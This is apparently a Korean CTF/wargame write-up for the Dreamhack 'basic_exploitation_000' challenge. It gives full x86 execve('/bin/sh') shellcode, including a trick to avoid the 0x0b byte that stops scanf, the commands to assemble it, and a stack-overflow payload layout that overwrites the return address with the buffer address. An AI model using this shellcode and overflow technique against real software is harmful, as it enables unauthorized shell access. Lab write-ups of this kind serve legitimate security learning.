Wargame/pwn

Dreamhack-basic_exploitation_000

EYEN 2023. 1. 29. 16:44

1. shellcode부터 짜보겠다. 
 
호출 규약이 fastcall이다. fastcall은 인자를 각각 ecx, edx에 넣어주어야한다.
일단 /bin/sh
xor eax,eax
push eax
push 0x68732f2f
push 0x6E69622f
mov ebx, esp( execve 호출을 위한 첫번째 인자를 나타내는 ebx에 저장한다.)
push eax( 두번째 인자를 구성하기 위한 null)
push ebx( 두 번째 인자를 구성하기 위한 /bin/sh를 가리킴)
mov ecx, esp(/bin/sh와 null을 가리키는 주소를 나타냄)
mov edx, eax(null을 execve호출을 위한 세번째 인자를 나타내는 edx에 저장한다)
mov al,0x8( execve에 해당하는 0XB를 eax에 넣는다)
inc al
inc al
inc al
int 0x80( 0x80 인터럽트 호출)
 

main <- esp, ecx가 시작부분을 가리킴
null
/bin<-ebx가 시작부분을 가리킴
/sh\0
null

 
al= eax의 하위 8비트
scanf는 0x0b 같은 널...이 나오면 멈춰버리기 때문에 스페이스바가 안 나오도록
 
 
 
nasm -f elf32 shell0.asm
objcopy --dump-section .text=shell0.bin shell0.o
xxd shell0.bin
 
2. 페이로드
buf_address가 주어지고, 바로 그다음 scanf를 하므로 그때 넣을 payload를 작성할 것이다.
 
buf_address에 들어갈 shellcode, 그리고 128byte크기의 버퍼를 채울 a와 sfp를 채울 b, 그리고 return값을 buf_address로 하면 ret이 실행될 때 eip가 buf_address를 가리키며 쉘이 실행될 것이다.